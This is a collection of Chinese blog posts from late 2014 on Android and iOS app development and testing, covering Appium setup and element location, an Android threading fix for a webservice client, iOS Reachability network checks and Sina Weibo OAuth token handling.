　　在第一阶段，测试自动化极大地有助于以经济实惠的方式实现这一策略。在这一阶段，只有能轻易被自动化（即可以每日执行）的测试用例才能包含在内。

　　在一个app的持续开发过程中，这种自动化测试为开发人员和测试人员提供了一个安全网。日常测试运行确保了核心功能正常工作，app的整体稳定性和质量由测试数据透明地反映出来，认证回归可以轻易地与最近的变化关联。这种测试可以很轻易地被设计并使用SaaS解决方案（如云中的TestObject的UI移动app测试）从测试人员电脑上被记录下来。

　　当且仅当这个阶段已被成功执行了，这个过程才会在第二阶段继续劳动密集测试。这里的想法是：如果核心功能通过自动测试就只投入测试资源，使测试人员能够专注于先进场景。这个阶段可能包括测试用例，例如性能测试，可用性测试，或兼容性测试。这两种方法相结合产生了一个强大的移动apps质量保证策略[ 7 ] 。

　　结论 - 做对测试

　　用正确的方式使用，测试可以在对抗零散的安卓的斗争中成为一个有力的工具。一个有效的测试策略的关键之处在于定义手头app的定制测试用例，并定义一个简化测试的工作流程或过程。测试一个移动app是一个重大的挑战，但它可以用一个结构化的方法和正确的工具集合以及专业知识被有效解决掉。

顺其自然EVO 2014-12-22 23:23 发表评论

关于安卓通过webservice访问数据库问题

顺其自然EVO — Thu, 11 Dec 2014 15:42:00 GMT

　============问题描述============

　　访问数据库时，手机能增删数据库的数据就是显示不了数据库的里的数据不知道是哪里的问题，用的HTTP

　　这是我webservice中的产看所有信息的方法：

public List selectAllCargoInfor()

{

List list = new List();

try

{

string sql = "select * from C";

SqlCommand cmd = new SqlCommand(sql,sqlCon);

SqlDataReader reader = cmd.ExecuteReader();

while (reader.Read())

{

//将结果集信息添加到返回向量中

list.Add(reader[0].ToString());

list.Add(reader[1].ToString());

list.Add(reader[2].ToString());

}

reader.Close();

cmd.Dispose();

}

catch(Exception)

{

}

return list;

}

　　接下来是安卓端的：

　　这个是MainActivity中的设置LISTVIEW的方法

private void setListView() {

listView.setVisibility(View.VISIBLE);

List> list = new ArrayList>();

list = dbUtil.getAllInfo();

adapter = new SimpleAdapter(MainActivity.this, list, R.layout.adapter_item,

new String[] { "Cno", "Cname", "Cnum" },

new int[] { R.id.txt_Cno, R.id.txt_Cname, R.id.txt_Cnum });

listView.setAdapter(adapter);

}

　　这个是操作类：

public List> getAllInfo() {

List> list = new ArrayList>();

arrayList.clear();

brrayList.clear();

crrayList.clear();

new Thread(new Runnable() {

@Override

public void run() {

// TODO Auto-generated method stub

crrayList = Soap.GetWebServre("selectAllCargoInfor", arrayList, brrayList);

}

}).start();

HashMap tempHash = new HashMap();

tempHash.put("Cno", "Cno");

tempHash.put("Cname", "Cname");

tempHash.put("Cnum", "Cnum");

list.add(tempHash);

for (int j = 0; j < crrayList.size(); j += 3) {

HashMap hashMap = new HashMap();

hashMap.put("Cno", crrayList.get(j));

hashMap.put("Cname", crrayList.get(j + 1));

hashMap.put("Cnum", crrayList.get(j + 2));

list.add(hashMap);

}

return list;

}

连接webservice的那个方法HttpConnSoap应该是没问题的因为数据库的增删都是可以的，就是无法实现这个显示所有信息到LISTVIEW中的这个功能不知道为什么，LOGCAT中也是一片绿没什么问题

　　LOGCAT中的信息：

05-02 15:51:40.642: I/System.out(3678): 1rice1002dog503白痴25

05-02 15:51:40.647: I/System.out(3678):

05-02 15:51:40.647: I/System.out(3678): soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"

05-02 15:51:40.647: I/System.out(3678): soap:Body

05-02 15:51:40.647: I/System.out(3678): selectAllCargoInforResponse xmlns="http://tempuri.org/"

05-02 15:51:40.647: I/System.out(3678): selectAllCargoInforResult

05-02 15:51:40.647: I/System.out(3678): 0

05-02 15:51:40.647: I/System.out(3678): string>1

05-02 15:51:40.647: I/System.out(3678): string>rice

05-02 15:51:40.647: I/System.out(3678): string>100

05-02 15:51:40.647: I/System.out(3678): string>2

05-02 15:51:40.652: I/System.out(3678): string>dog

05-02 15:51:40.652: I/System.out(3678): string>50

05-02 15:51:40.652: I/System.out(3678): string>3

05-02 15:51:40.652: I/System.out(3678): string>白痴

05-02 15:51:40.652: I/System.out(3678): string>25

05-02 15:51:40.652: I/System.out(3678): /selectAllCargoInforResult

05-02 15:51:40.652: I/System.out(3678): 1

　　============解决方案1============

　　分析原因就是在线程还没有执行完时候，getAllInfo早已执行完毕以后，，所以在执行for (int j = 0; j < crrayList.size(); j += 3)时候， crrayList为零行。你取出的LOGCAT是执行请求以后的返回数据，这时候setListView方法早已经走完，所以只有一行数据。截图中的一行数据来自

　　HashMap tempHash = new HashMap();

　　tempHash.put("Cno", "Cno");

　　tempHash.put("Cname", "Cname");

　　tempHash.put("Cnum", "Cnum");

　　list.add(tempHash);

　　使用Thread应该配合Handler来使用。

　　我把代码修改一下

private final static int REQUEST_SUCCESS = 1;

private final static int REQUEST_FALSE = 0;

private void RequestData()

{

arrayList.clear();

brrayList.clear();

crrayList.clear();

new Thread(new Runnable() {

@Override

public void run() {

// TODO Auto-generated method stub

crrayList = Soap.GetWebServre("selectAllCargoInfor", arrayList, brrayList);

Message msg = new Message();

if(crrayList.size()>0)

{

msg.what = REQUEST_SUCCESS;

}

else

{

msg.what = REQUEST_FALSE;

}

// 发送消息

mHandler.sendMessage(msg);

}

}).start();

}

public Handler mHandler = new Handler(){

// 接收消息

@Override

public void handleMessage(Message msg) {

// TODO Auto-generated method stub

super.handleMessage(msg);

switch (msg.what)

{

case REQUEST_SUCCESS:

setListView();

break;

case REQUEST_FALSE:

// 做错误处理

break;

default:

break;

}

};

private void setListView() {

listView.setVisibility(View.VISIBLE);

List> list = new ArrayList>();

list = dbUtil.getAllInfo();

adapter = new SimpleAdapter(MainActivity.this, list, R.layout.adapter_item,

new String[] { "Cno", "Cname", "Cnum" },

new int[] { R.id.txt_Cno, R.id.txt_Cname, R.id.txt_Cnum });

listView.setAdapter(adapter);

}

public List> getAllInfo() {

List> list = new ArrayList>();

HashMap tempHash = new HashMap();

tempHash.put("Cno", "Cno");

tempHash.put("Cname", "Cname");

tempHash.put("Cnum", "Cnum");

list.add(tempHash);

for (int j = 0; j < crrayList.size(); j += 3) {

HashMap hashMap = new HashMap();

hashMap.put("Cno", crrayList.get(j));

hashMap.put("Cname", crrayList.get(j + 1));

hashMap.put("Cnum", crrayList.get(j + 2));

list.add(hashMap);

}

return list;

}

　　执行RequestData就可以，我没法编译，细节自己再调整看一下，应该能解决问题了。

　　你给的分数太少了，大牛们都不给你解答。如果解决问题就给分哈。

　　另外，Java多线程的操作可以系统学习一下。工作中使用极为频繁

顺其自然EVO 2014-12-11 23:42 发表评论

Appium Inspector 真机定位元素

顺其自然EVO — Thu, 11 Dec 2014 15:36:00 GMT

对环境的需求：

　　iOS

　　Mac OSX 10.7+

　　XCode 4.5+ 和 Command Line Tools

　　npm 0.8 or greater

　　Mac OS X 10.7 or higher, 10.8.4 recommended

　　XCode >= 4.6.3

　　检查一下：

　　发现两个网址的说法不同，安全第一，弄个高版本的吧。

　　我弄了一个Xcode5.0.2，安装好了以后，继续安装Command Line Tools:

　　好了，环境基本上弄好了，看看别人的帖子说法：

　　1、安装node.js

　　2、安装appium

　　$ npm install -g appium@0.12.3

　　注意appium的版本和os的兼容。

　　3、启动appium

　　$appium &

　　真机上测试，启动时指定设备的UUID

　　$appium -U xxxxxxxxxxxxxxxxxxxxxxxxxx

　　appium启动服务的参数详细：

　　https://github.com/appium/appium/blob/master/docs/server-args.md

　4、真机上运行，被测app必须是Developer版本。

　　再看看官方网页的说法：

　　npm install -g appium

　　npm install wd

　　appium &

　　node your-appium-test.js

　　哇，好简单呀！想得美，会者不难而已。

　　开始吧：

　　需要先安装一个node，不过我的机器上没有brew所以还得先安装一下brew，brew类似于ubuntu下面的apt-get，就是用做联网搜软件然后帮你安装上的一个管理工具，哎呀，这种描述好粗糙，能明白我的意思就行了 ^_^，先搜了一个方法：

　　cd /usr/local

　　mkdir homebrew

　　cd homebrew

　　curl -LsSf http://github.com/mxcl/homebrew/tarball/master | tar xvz -C/usr/local --strip 1

　　cd bin

　　./brew -v

　　file brew

　　sudo ./brew update

　　more brew

　　自己做了一遍，大致是这个步骤，顺利安装上了：

　　admins-Mac:local admin$ cd bin

　　admins-Mac:bin admin$ ./brew -v

　　Homebrew 0.9.5

　　admins-Mac:bin admin$ file brew

　　brew: POSIX shell script text executable

　　vi .bash_profile

　　export PATH=/usr/local/homebrew/bin:$PATH

　　关闭后重新打开terminal，使.bash_profile被执行，使得PATH环境变量生效，当然你也可以source ./.bash_profile

　　在这个安装的过程中，唯一需要注意的是权限，我的作法是在所有步骤之前直接把/usr/local目录都改为了admin所有，就不用每次安装都用sudo来搞了

　　sudo chown -Rf admin:staff /usr/local

　　这下安装node.js就简单了，一行命令：

　　brew install node

　　然后就是看看node安装的对不对，先vi hello_world.js，输入以下内容(假定你会用vi，vim一类的编辑器)

　　var sys = require('sys'),

　　http = require('http');

　　http.createServer(function(req, res) {

　　setTimeout(function() {

　　res.writeHead(200, {'Content-Type': 'text/plain'});

　　res.write('Hello World');

　　res.end();//截至最新版 res.close(); 以替换为 res.end();

　　}, 2000);

　　}).listen(8000);

　　执行命令：

　　node hello_world.js

　　下面这样浏览器返回了Hello World字样就是成功了。

　　最后检查一下：

　　node -v

　　v0.10.15

　　npm -v

　　1.4.6

　　好了，全齐了。这下该正事了：

　　npm install -g appium

　　npm install wd

　　运行appium-doctor来检查一下appium是不是都彻底ok了：

　　admins-Mac:bin admin$ pwd

　　/usr/local/bin

　　admins-Mac:bin admin$ ls -l

　　total 39064

　　lrwxr-xr-x 1 admin staff 40 Apr 14 16:33 appium -> ../lib/node_modules/appium/bin/appium.js

　　lrwxr-xr-x 1 admin staff 47 Apr 14 16:33 appium-doctor -> ../lib/node_modules/appium/bin/appium-doctor.js

　　lrwxr-xr-x 1 admin staff 47 Apr 14 16:33 authorize_ios -> ../lib/node_modules/appium/bin/authorize-ios.js

　　-rwxrwxr-x 1 admin staff 813 Apr 14 08:53 brew

　　-rwxr-xr-x 1 admin staff 19975968 Jul 26 2013 node

　　lrwxr-xr-x 1 admin staff 38 Jul 31 2013 npm -> ../lib/node_modules/npm/bin/npm-cli.js

　　lrwxr-xr-x 1 admin staff 33 Jul 31 2013 weinre -> ../lib/node_modules/weinre/weinre

　　因为这台mac上没有android环境，所以报错，我也没打算在这台mac上测试android程序，所以不用搭理。Appium已经OK了。

　　启动appium(&的意思是后台执行，不占用窗口)：

　　admins-Mac:appium admin$ appium &

　　[1] 1886

　　admins-Mac:appium admin$ info: Welcome to Appium v0.18.1 (REV d242ebcfd92046a974347ccc3a28f0e898595198)

　　info: Appium REST http interface listener started on 0.0.0.0:4723

　　info: socket.io started

　　info: Non-default server args: {"merciful":true}

　　检查进程，顺带删除掉这个后台进程：

　　admins-Mac:appium admin$ ps -ef|grep appium

　　501 1886 1274 0 4:47PM ttys000 0:00.73 node /usr/local/bin/appium

　　501 1892 1274 0 4:48PM ttys000 0:00.00 grep appium

　　admins-Mac:appium admin$ kill 1886

　　好了，环境部分差不多就这样了。

顺其自然EVO 2014-12-11 23:36 发表评论

Appium Inspector 真机定位元素

顺其自然EVO — Thu, 11 Dec 2014 15:36:00 GMT

　　自动化测试过程中，对被测试元素的定位是相当重要的。前面文章中也讲到了一些儿定位方法。今天讲解，如何用真机运行程序，用Appium Inspector，UI Automation Viewer来定位App的元素。

　　一、Inspector定位

　　平时我们定位元素的时候，通常是按下面的方式设置的。

　　Device Name填写的是模拟器的名称，启动模拟器,appium后，再启动Inspector就能Reflesh启动App，来进行操作。可是这存在一个问题：模拟器比较慢，而且多少和真机不一样，比如说模拟器不能调出手机键盘等；所以如果我们要做自动化测试的时候，最好还是用真机来运行app,然后进行定位。

　　真机运行Inspector的时候也非常简单，首先将手机连接到电脑上。如果有91手机助手或是类似的软件的时候，就会提示是否连接成功！一定要确保连接成功，然后将Device Name替换成手型号，如下所示：

　　然后运行appium,启动inspector,就可以在真机上安装并启动App，此时刷新就可以获取最新的Screenshot，左边就能展开对应的分支，你就可以大展拳脚，进行定位了。

　　注：用Appium Inspector在真机上运行并定位元素的时候，不管你现在有没有安装这个App，它都会给你重新安装一下，然后再打开，这个是很不爽的。不过运行测试用例的时候，如果有安装，则直接打开，没有安装时才会安装。

　　二、UI Automation Viewer定位

　　只要你用真机连接上电脑，并运行了要测试的App，打开UI Automation Viewer后，单击“Device Screenshot”按钮，就能刷新出手机上的界面，并能展示定位，如果有任何变动。再次刷新即可。

顺其自然EVO 2014-12-11 23:36 发表评论

Appium框架中Android下EditText内容清除

顺其自然EVO — Thu, 11 Dec 2014 15:33:00 GMT

在做手机 自动化测试过程中，难免会对EditText的内容进行修改，通常我们对EditText输入内容的时候，用的是Send_key（）函数。可是这个函数不会先清除原来的内容，只会在光标当前位置上输入函数参数中的数据。如果我们需要修改，必须清除原来的内容，查看了一下clear()参数不好使用，只好去网上搜索了。

　　找到了如下方法：

　　“首先 clear(), send_keys(), set_text()，在android上不太好用是个已知的bug （在IOS上不清楚，没有测试环境），会在Appium 1.2.3上修复。请参见github的issue：https://github.com/appium/python-client/issues/53

　　在这之前我们可以用 press_keycode的方式实现删除，删除速度比忽略 clear()抛出的异常要快很多。

　　大概思路是：

　　1. 点击要清除的edit field

　　2. 全选

　　3. 删除

　　element.click()

　　sleep(1) #waiting for 1 second is important, otherwise 'select all' doesn't work. However, it perform this from my view

　　self.driver.press_keycode(29,28672) # 29 is the keycode of 'a', 28672 is the keycode of META_CTRL_MASK

　　self.driver.press_keycode(112) # 112 is the keycode of FORWARD_DEL, of course you can also use 67“

　　我试了一下上面的方法，没有什么效果，只好继续寻找了。搜了好多网页，在一个网页上看到了一个不错的办法，不过可以打开的网页太多了，一忙忘记是哪儿个网页了。具体的方案就是：

　　先将光标移到文本框最后，然后取一下EditText中文本的长度，最后一个一个地删除文本。

　　具体示例如下：

　　def edittextclear(self,text):

　　'''

　　请除EditText文本框里的内容

　　@param:text 要清除的内容

　　'''

　　DRIVER.keyevent(123)

　　for i in range(0,len(text)):

　　DRIVER.keyevent(67)

　　使用实例：

　　adr=DRIVER.find_element_by_id('com.subject.zhongchou:id/edit_person_detailaddress') #找到要删除文本的EditText元素

　　adr.click()#激活该文本框

　　context2=adr.get_attribute('text')#获取文本框里的内容

　　self.edittextclear(context2)#删除文本框中是内容

顺其自然EVO 2014-12-11 23:33 发表评论

如何设计Android App测试用例

顺其自然EVO — Mon, 08 Dec 2014 12:35:00 GMT

　　简介—分散装置里的测试

　图1.11，828 款安卓设备类型（ OpenSignal研究， 2013年7月[ 1 ] ）分布

　　从一个移动APP开发角度出发，定义终端设备有四个基本特征：

　　1．操作系统：由“API指标”（ 1 ?18 ）专业定义的安卓操作系统版本（ 1.1? 4.3 ），。

　　2．显示器：屏幕主要是由屏幕分辨率（以像素为单位），屏幕像素密度（以DPI为单位），和/或屏幕尺寸（以英寸为单位）定义的。

　　3．CPU：该“应用程序二进制接口” （ABI ）定义CPU的指令集。这里的主要区别是ARM和基于Intel的CPU。

　　4．内存：一个设备包括内存储器（ RAM）和Dalvik 虚拟存储器（ VM堆）的预定义的堆内存。

图2.16款安卓版本分布（OpenSignal研究，2013年7月[1]）

图3. 常见的屏幕尺寸和密度的分布（谷歌研究，2013年4月）[2]

　　用例—“在哪测试”、“测试什么”、“怎么测试”、“何时测试”？

　　“在哪测试”

图4.多样性及分布很高的安卓终端设备的六个例子（手机检测研究，2013年2月）[3]

　　“测试什么”

图5. 测试安卓设备的各个方面

　　有必要提前准备覆盖app最常用功能的所有可能的测试场景。早期bug检测和源代码中的简单修改，只能通过不断的测试才能实现。

　　“怎么测试”

　　“何时测试”

　　1 ．用虚拟设备进行的回归测试。

　　这包括虚拟参考设备上用来在早期识别出基本错误的连续自动化回归测试。这里的理念是快速地、成本高效地识别bugs。

　　2 ．用真实设备进行的验收测试。

　　这涉及到：“策划推广”期间将之发布到Google Play Store前在真实设备上的密集测试（主要是手动测试），（例如，Google Play[ 5 ]中的 alpha和beta测试组）。

　　结论 - 做对测试

顺其自然EVO 2014-12-08 20:35 发表评论

iOS中使用Reachability 检测网络

顺其自然EVO — Wed, 03 Dec 2014 05:31:00 GMT

如果你想在iOS程序中提供一仅在wifi网络下使用(Reeder)，或者在没有网络状态下提供离线模式(Evernote)。那么你会使用到Reachability来实现网络检测。

　　写本文的目的

　　了解Reachability都能做什么

　　检测3中网络环境

　　2G/3G

　　wifi

　　无网络

　　如何使用通知

　　单个controller

　　多个controller

　　简单的功能:

　　仅在wifi下使用

　　Reachability简介

　　Reachablity 是一个iOS下检测,iOS设备网络环境用的库。

　　监视目标网络是否可用

　　监视当前网络的连接方式

　　监测连接方式的变更

　　安装

　　创建 network 工程（network是我创建的demo工程，附件中可以下载到）

　　使用Cocoaspod安装依赖

　　在项目中添加 SystemConfiguration.framework 库

　　由于Reachability非常常用。直接将其加入到Supporting Files/networ-Prefix.pch中:

　　#import

　　如果你还不知道cocoaspod是什么,看这里:

　　http://witcheryne.iteye.com/blog/1873221

　　使用

　　stackoverflow上有一篇回答，很好的解释了reachability的用法

　　http://stackoverflow.com/questions/11177066/how-to-use-ios-reachability

　　一般情况一个Reachability实例就ok了。

　　一个Controller只需要一个Reachability

　　Block方式使用

- (void)viewDidLoad

{

[super viewDidLoad];

DLog(@"开启 www.apple.com 的网络检测");

Reachability* reach = [Reachability reachabilityWithHostname:@"www.apple.com"];

DLog(@"-- current status: %@", reach.currentReachabilityString);

// start the notifier which will cause the reachability object to retain itself!

[[NSNotificationCenter defaultCenter] addObserver:self

selector:@selector(reachabilityChanged:)

name:kReachabilityChangedNotification

object:nil];

reach.reachableBlock = ^(Reachability * reachability)

{

dispatch_async(dispatch_get_main_queue(), ^{

self.blockLabel.text = @"网络可用";

self.blockLabel.backgroundColor = [UIColor greenColor];

});

};

reach.unreachableBlock = ^(Reachability * reachability)

{

dispatch_async(dispatch_get_main_queue(), ^{

self.blockLabel.text = @"网络不可用";

self.blockLabel.backgroundColor = [UIColor redColor];

});

};

[reach startNotifier];

}

- (void)viewDidLoad

{

[super viewDidLoad];

DLog(@"开启 www.apple.com 的网络检测");

Reachability* reach = [Reachability reachabilityWithHostname:@"www.apple.com"];

DLog(@"-- current status: %@", reach.currentReachabilityString);

// start the notifier which will cause the reachability object to retain itself!

[[NSNotificationCenter defaultCenter] addObserver:self

selector:@selector(reachabilityChanged:)

name:kReachabilityChangedNotification

object:nil];

reach.reachableBlock = ^(Reachability * reachability)

{

dispatch_async(dispatch_get_main_queue(), ^{

self.blockLabel.text = @"网络可用";

self.blockLabel.backgroundColor = [UIColor greenColor];

});

};

reach.unreachableBlock = ^(Reachability * reachability)

{

dispatch_async(dispatch_get_main_queue(), ^{

self.blockLabel.text = @"网络不可用";

self.blockLabel.backgroundColor = [UIColor redColor];

});

};

[reach startNotifier];

}

　使用notification的方式

- (void)viewDidLoad

{

[super viewDidLoad];

DLog(@"开启 www.apple.com 的网络检测");

Reachability* reach = [Reachability reachabilityWithHostname:@"www.apple.com"];

DLog(@"-- current status: %@", reach.currentReachabilityString);

// start the notifier which will cause the reachability object to retain itself!

[[NSNotificationCenter defaultCenter] addObserver:self

selector:@selector(reachabilityChanged:)

name:kReachabilityChangedNotification

object:nil];

[reach startNotifier];

}

- (void) reachabilityChanged: (NSNotification*)note {

Reachability * reach = [note object];

if(![reach isReachable])

{

self.notificationLabel.text = @"网络不可用";

self.notificationLabel.backgroundColor = [UIColor redColor];

self.wifiOnlyLabel.backgroundColor = [UIColor redColor];

self.wwanOnlyLabel.backgroundColor = [UIColor redColor];

return;

}

self.notificationLabel.text = @"网络可用";

self.notificationLabel.backgroundColor = [UIColor greenColor];

if (reach.isReachableViaWiFi) {

self.wifiOnlyLabel.backgroundColor = [UIColor greenColor];

self.wifiOnlyLabel.text = @"当前通过wifi连接";

} else {

self.wifiOnlyLabel.backgroundColor = [UIColor redColor];

self.wifiOnlyLabel.text = @"wifi未开启，不能用";

}

if (reach.isReachableViaWWAN) {

self.wwanOnlyLabel.backgroundColor = [UIColor greenColor];

self.wwanOnlyLabel.text = @"当前通过2g or 3g连接";

} else {

self.wwanOnlyLabel.backgroundColor = [UIColor redColor];

self.wwanOnlyLabel.text = @"2g or 3g网络未使用";

}

- (void)viewDidLoad

{

[super viewDidLoad];

DLog(@"开启 www.apple.com 的网络检测");

Reachability* reach = [Reachability reachabilityWithHostname:@"www.apple.com"];

DLog(@"-- current status: %@", reach.currentReachabilityString);

// start the notifier which will cause the reachability object to retain itself!

[[NSNotificationCenter defaultCenter] addObserver:self

selector:@selector(reachabilityChanged:)

name:kReachabilityChangedNotification

object:nil];

[reach startNotifier];

}

- (void) reachabilityChanged: (NSNotification*)note {

Reachability * reach = [note object];

if(![reach isReachable])

{

self.notificationLabel.text = @"网络不可用";

self.notificationLabel.backgroundColor = [UIColor redColor];

self.wifiOnlyLabel.backgroundColor = [UIColor redColor];

self.wwanOnlyLabel.backgroundColor = [UIColor redColor];

return;

}

self.notificationLabel.text = @"网络可用";

self.notificationLabel.backgroundColor = [UIColor greenColor];

if (reach.isReachableViaWiFi) {

self.wifiOnlyLabel.backgroundColor = [UIColor greenColor];

self.wifiOnlyLabel.text = @"当前通过wifi连接";

} else {

self.wifiOnlyLabel.backgroundColor = [UIColor redColor];

self.wifiOnlyLabel.text = @"wifi未开启，不能用";

}

if (reach.isReachableViaWWAN) {

self.wwanOnlyLabel.backgroundColor = [UIColor greenColor];

self.wwanOnlyLabel.text = @"当前通过2g or 3g连接";

} else {

self.wwanOnlyLabel.backgroundColor = [UIColor redColor];

self.wwanOnlyLabel.text = @"2g or 3g网络未使用";

}

　　附件demo说明

　　开启wifi状态

　　关闭wifi的状态

　　遗留问题

　　如何在多个controller之前共用一个Reachability(附件demo中是一个controller一个Reachability实例)

　　应该在什么使用停止Reachability的检测.

顺其自然EVO 2014-12-03 13:31 发表评论

iOS开发之山寨版新浪微博小结

顺其自然EVO — Wed, 03 Dec 2014 05:30:00 GMT

之前的博客IOS开发之新浪围脖中获取微博的内容是使用我自己的access_token来请求的数据，那么如何让其他用户也能登陆并获取自己的微博内容呢？接下来就是OAuth和SSO出场的时候啦。OAuth的全称为Open Authorization 开发授权，SSO--单点登陆（Single Sign On）。至于其原理是什么，更具体的介绍网上的资料是一抓一大把，在这就不做过多的原理性的概述。当然啦，OAuth和SSO在Web和其他手机终端上应用还是蛮多的，所有这方面的资料也是多的很。

　　简单的说就是可以通过新浪的OAuth把之前access_token换成用户自己的access_token,从而请求自己微博的内容（因为之前做的的关于新浪微博的东西，所以用到是新浪提供的OAuth）。更详细的内容请参考新浪对OAuth2.0授权认证，iOS版SDK的GitHub下载后，其中有详细的使用说明并附有使用Demo.所以sdk的使用在这就不做过多的赘述。可能有的小伙伴会问哪本篇博客要介绍什么东西呢？本篇博客就是被之前的新浪微博加上OAuth授权认证，给之前的博客做一个善后工作。

　　1.还是在博客的开头先来几张截图(第一张是没有登录时的启动图，第二张是获取授权的页面，第三张是授权后的页面，第四张是把之前写的iOS开发之自定义表情键盘(组件封装与自动布局)整合了进来)这样的话一个App的基本功能算是有啦。

　　2.在今天的博客中没有大量的代码，只是对之前博客中的内容的一个应用，如何用新浪的OAuth的SDK，新浪给提供的开发文档中说明的很详细了，笔者也是按上面一步步做的，没有太大问题。上面给出了SDK的下载地址，有兴趣小伙伴可以下载一个研究研究。

　　3.在用户授权以后，新浪接口或返回一些用户的信息，其中就有该授权用户所对应的access_token, 下面是响应代码，把返回的用户access_token存入到了NSUserDefaults中，关于NSUserDefault的具体内容请参考之前的博客IOS开发之记录用户登陆状态，在这就不做赘述了。

1 - (void)didReceiveWeiboResponse:(WBBaseResponse *)response

2 {

3 if ([response isKindOfClass:WBSendMessageToWeiboResponse.class])

4 {

5 NSString *title = @"发送结果";

6 NSString *message = [NSString stringWithFormat:@"响应状态: %d\n响应UserInfo数据: %@\n原请求UserInfo数据: %@",

7 response.statusCode, response.userInfo, response.requestUserInfo];

8 NSLog(@"%@", message);

9 }

10 else if ([response isKindOfClass:WBAuthorizeResponse.class])

11 {

13 self.wbtoken = [(WBAuthorizeResponse *)response accessToken];

15 if (self.wbtoken != nil) {

16 //获取userDefault单例

17 NSUserDefaults *token = [NSUserDefaults standardUserDefaults];

18 [token setObject:self.wbtoken forKey:@"token"];

19 }

20 }

21 }

　　4.添加我们的自定义键盘也挺简单的，因为之前是用纯代码封装的自定义键盘并留有响应的接口，所有移植到我们的新浪微博上就是一个拷贝粘贴的体力活，关于自定义键盘的东西请参考之前的博客iOS开发之自定义表情键盘(组件封装与自动布局)，在这就不做赘述。

顺其自然EVO 2014-12-03 13:30 发表评论

安装运行Appium初体验

顺其自然EVO — Thu, 27 Nov 2014 03:57:00 GMT

　最近有空玩了一下Appium，记录一下

　　1.下载Appium for windows，现在是0.12.3版本

　　解压后如下图

　　双击Appium.exe就能启动Appium界面

　　点击Launch开启服务

　　2. 下载Android SDK

　　解压后

　　3. 配置系统环境变量

　　ANDROID_HOME: C:\adt-bundle-windows-x86_64-20131030\sdk

　　Path添加: %ANDROID_HOME%\tools;%ANDROID_HOME%\platform-tools

　4. 启动AVD，耗资源啊，这时候我T400的CPU已经100%了

　　5. 编写Test，使用ADT安装好Maven插件，创建一个Maven项目，添加一个文件夹apps用来存放被测的app，这里测试的是ContactManager.apk

　　pom.xml添加如下依赖

3 junit

4 junit

5 4.11

6 test

9 org.seleniumhq.selenium

10 selenium-java

11 LATEST

12 test

　编写AndroidContactsTest

1 package com.guowen.appiumdemo;

3 import org.junit.After;

4 import org.junit.Before;

5 import org.junit.Test;

6 import org.openqa.selenium.*;

7 import org.openqa.selenium.interactions.HasTouchScreen;

8 import org.openqa.selenium.interactions.TouchScreen;

9 import org.openqa.selenium.remote.CapabilityType;

10 import org.openqa.selenium.remote.DesiredCapabilities;

11 import org.openqa.selenium.remote.RemoteTouchScreen;

12 import org.openqa.selenium.remote.RemoteWebDriver;

13 import java.io.File;

14 import java.net.URL;

15 import java.util.List;

17 public class AndroidContactsTest {

18 private WebDriver driver;

20 @Before

21 public void setUp() throws Exception {

22 // set up appium

23 File classpathRoot = new File(System.getProperty("user.dir"));

24 File appDir = new File(classpathRoot, "apps/ContactManager");

25 File app = new File(appDir, "ContactManager.apk");

26 DesiredCapabilities capabilities = new DesiredCapabilities();

27 capabilities.setCapability("device","Android");

28 capabilities.setCapability(CapabilityType.BROWSER_NAME, "");

29 capabilities.setCapability(CapabilityType.VERSION, "4.4");

30 capabilities.setCapability(CapabilityType.PLATFORM, "WINDOWS");

31 capabilities.setCapability("app", app.getAbsolutePath());

32 capabilities.setCapability("app-package", "com.example.android.contactmanager");

33 capabilities.setCapability("app-activity", ".ContactManager");

34 driver = new SwipeableWebDriver(new URL("http://127.0.0.1:4723/wd/hub"), capabilities);

35 }

37 @After

38 public void tearDown() throws Exception {

39 driver.quit();

40 }

42 @Test

43 public void addContact(){

44 WebElement el = driver.findElement(By.name("Add Contact"));

45 el.click();

46 List textFieldsList = driver.findElements(By.tagName("textfield"));

47 textFieldsList.get(0).sendKeys("Some Name");

48 textFieldsList.get(2).sendKeys("Some@example.com");

49 driver.findElement(By.name("Save")).click();

50 }

52 public class SwipeableWebDriver extends RemoteWebDriver implements HasTouchScreen {

53 private RemoteTouchScreen touch;

55 public SwipeableWebDriver(URL remoteAddress, Capabilities desiredCapabilities) {

56 super(remoteAddress, desiredCapabilities);

57 touch = new RemoteTouchScreen(getExecuteMethod());

58 }

60 public TouchScreen getTouch() {

61 return touch;

62 }

63 }

64 }

　　6. 运行Test，注意AVD里的Android如果没有解锁需要先解锁

　　这时候我们可以看到AVD在运行了，

　　同时Appium的命令行有对应的输出

　　7. 更多信息请参考Appium的Github

顺其自然EVO 2014-11-27 11:57 发表评论

iOS为移动中的UIView(UIButton )添加点击事件

顺其自然EVO — Wed, 26 Nov 2014 07:08:00 GMT

　高高兴兴迎接新的产品新需求，满心欢喜的开始工作，结果研究了一下午才发现，是自己想的太简单了，是我太单纯呀。

　　需求是这样的类似下雪的效果，随机产生一些小雪花，然后每个雪花可以点击到下个页面。

　　接到需求之后我的首先想法就是用button实现不久可以了，多简单点事情，结果实践之后就知道自己多么的无知了，在移动中的button根本没有办法接收点击事件。

　　然后同事给出了一种解决办法，通过手势获取点击的位置，然后遍历页面上的控件，如果在这个范围内就点击成功。通过这个想法我尝试用frame来实现需求，然后发现自己又白痴了，页面上所有的“雪花”的frame，都是动画结束的位置，并不是实时的位置。

　　但是我感到用手势，然后通过位置，遍历，这个思路应该是对的，于是继续百度，发现了一个好东西

　　- (CALayer *)hitTest:(CGPoint)p;

　　通过这个可以得到这个页面时候覆盖了这个点，这样就可以解决我的问题了，把手势加在“雪花”的父页面上，然后点击事件里进行处理（当然用这个方法就没有必要一定用button）

-(void)tapClick:(UITapGestureRecognizer *)tap

{

CGPoint clickPoint = [tap locationInView:self];

for (UIImageView *imageView in [self subviews])

{

if ([imageView.layer.presentationLayer hitTest:clickPoint])

{

// This button was hit whilst moving - do something with it here

break;

}

　　这样就可以解决问题，当然应该还有其他的方法，欢迎补充。

顺其自然EVO 2014-11-26 15:08 发表评论

iOS开发UI篇—APP主流UI框架结构

顺其自然EVO — Tue, 18 Nov 2014 02:07:00 GMT

　一、简单示例

　　说明：使用APP主流UI框架结构完成简单的界面搭建

　　搭建页面效果：

　　二、搭建过程和注意点

　　1.新建一个项目，把原有的控制器删除，添加UITabBarController控制器作为管理控制器

　　2.对照界面完成搭建

　　3.注意点：

　　（1）隐藏工具条：配置一个属性，Hideabotton bar在push的时候隐藏底部的bar在那个界面隐藏，就在哪个界面设置。

　　（2）.cell可以设置行高

　（3）连线

